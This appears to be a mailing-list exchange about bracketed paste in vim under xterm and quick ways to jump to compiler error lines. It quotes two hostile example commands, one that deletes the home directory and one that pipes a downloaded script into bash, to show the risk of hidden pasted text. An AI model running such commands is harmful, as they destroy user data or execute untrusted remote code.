On 23/07/2024 14:57, Thomas Schmitt wrote:
Max Nikulin wrote:I would consider some convenient key mapping that should be executed before pasting line number instead of disabling bracketed paste completely. There is a chance to paste something weird with hidden text from a web page or from a HTML mail message.
[...]
(Keys "u" and "Ctrl+r" are my friends.)
I mean something like ":!rm -rf ~ &" or "curl http://example.com/weird | bash &" after a newline.
My main use case is in software development, which in my case is widely error-driven. It frequently happens that the C compiler issues justified complaints like: ./read_run.c:2780:15: error: ‘dsk_path’ undeclared (first use in this function)
Some ideas: :help :make :help clientserver
Then i double click the "2780", paste it into the xterm where vim has "read_run.c" open, and press key 'G'. This brings me to my code sin. (":" and "=" are excluded from the double-click set in my XTerm configuration.)
I have no idea if it is possible to invoke some function instead of default <PasteStart> handler.
Instead of middle click I would consider some <Leader> key mapping to a command that inspects the "* register for patterns acceptable for gf and either opens specified location or insert text.